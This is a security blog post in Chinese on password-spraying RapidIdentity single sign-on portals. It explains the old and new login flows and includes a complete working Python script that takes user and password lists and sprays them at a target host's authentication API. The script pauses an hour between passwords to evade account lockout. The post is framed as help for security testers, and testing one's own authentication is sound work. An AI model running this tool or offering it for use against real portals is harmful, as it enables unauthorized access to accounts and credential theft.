针对RapidIdentity登录门户的密码喷洒攻击技术解析

本文详细分析了RapidIdentity单点登录系统的两种登录门户,重点介绍了新型三步骤认证机制的技术细节,并提供了完整的Python脚本实现自动化密码喷洒攻击,帮助安全人员测试认证安全性。

密码喷洒RapidIdentity登录门户

在过去,我曾写过一篇关于密码喷洒Dell SonicWALL Virtual Office的简短博客文章。虽然那篇文章并不那么令人兴奋,但许多人确实觉得它有用,而且有一个博客文章比仅仅放在随机的Github仓库或推文中更容易让人们找到。

这篇文章是关于RapidIdentity的。它可以用于单点登录(SSO)。通过测试,我发现了两种不同类型的门户。较旧的似乎相当基础,登录使用常规的POST参数接收用户名和密码。

这并没有太多特别之处,你可以使用我在文章《How to Burp Good(密码喷洒)》中描述的方法进行喷洒。你只需要设置一个grep提取:

开始表达式后:-message"> 结束分隔符:

旧版登录

但更有趣的是我发现的一个更新的登录门户。这个需要三个独立的步骤来登录,并且对典型的基于HTTP的暴力破解更具抵抗力。

新版登录

注意:登录门户可以(并且很可能会)使用自定义CSS进行样式设计。它可能看起来不完全像上面的示例。

所需的三个请求如下:

  1. 对认证API的GET请求。这会返回一个唯一的ID值。
  2. 包含用户名和先前提供的ID值的POST请求。
  3. 第二个包含密码和先前提供的ID值的POST请求。

这可能会有所不同,因为认证有许多策略。请查看API文档并根据需要进行调整。如果有疑问,通过Burp运行登录过程,看看它是如何匹配的。

不幸的是,我们不能使用《How to Burp Good(CSRF令牌)》中提供的方法,因为Burp处理JSON不太好(至少在宏中),并且无法提取ID号并将其放入后续请求中。虽然这可能仍然可以通过Burp扩展实现,但我选择创建一个Python脚本来喷洒这些端点。以下是完整代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import time
import json
import requests
import argparse

def guess_password(host, username, password):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0',
               'Accept': 'application/json, text/javascript, */*; q=0.01',
               'X-Requested-With': 'XMLHttpRequest'
               }
    # 启动会话以在请求间保持cookie
    session = requests.Session()
    r1 = session.get('https://' + host + '/api/rest/authn', headers=headers)
    result = json.loads(r1.text)
    # 获取ID值
    id_value = result["id"]
    usernameJSON = {'id': id_value, 'isPasswordRecovery': 'false', 'type': 'username', 'username': username}
    r2 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=usernameJSON)
    passwordJSON = {'type': 'password', 'id': id_value, 'password': password}
    r3 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=passwordJSON)
    result = json.loads(r3.text)
    # 查找错误消息
    try:
        error_message = result["error"]["message"]
        return error_message
    # 如果有错误消息以外的内容,打印完整响应
    except KeyError:
        try:
            if result["type"] == "complete":
                return "Authentication Success!"
        except KeyError:
            return result

parser = argparse.ArgumentParser(description='这是一个暴力破解RapidIdentity IAM门户的工具')
parser.add_argument('-u', '--users', help='输入文件名', required=True)
parser.add_argument('-p', '--passwords', help='字典文件名', required=True)
parser.add_argument('-t', '--target', help='目标主机名', required=True)

args = parser.parse_args()

userlist = open(args.users, 'r').read().split('\n')
passlist = open(args.passwords, 'r').read().split('\n')

print("测试 " + str(len(userlist)) + " 个用户名和 " + str(len(passlist)) + " 个密码。")
for password in passlist:
    print("喷洒: " + password)
    for user in userlist:
        result = guess_password(args.target, user, password)
        print("尝试 " + user + ":" + password + " - " + result)
    print("每个密码之间休眠1小时")
    time.sleep(3600)

也可以在Github上找到:https://github.com/n00py/RapidIdentity_spray

该脚本需要端点、用户名列表和密码列表。它每小时使用单个密码喷洒所有用户名一次,以避免锁定。

comments powered by Disqus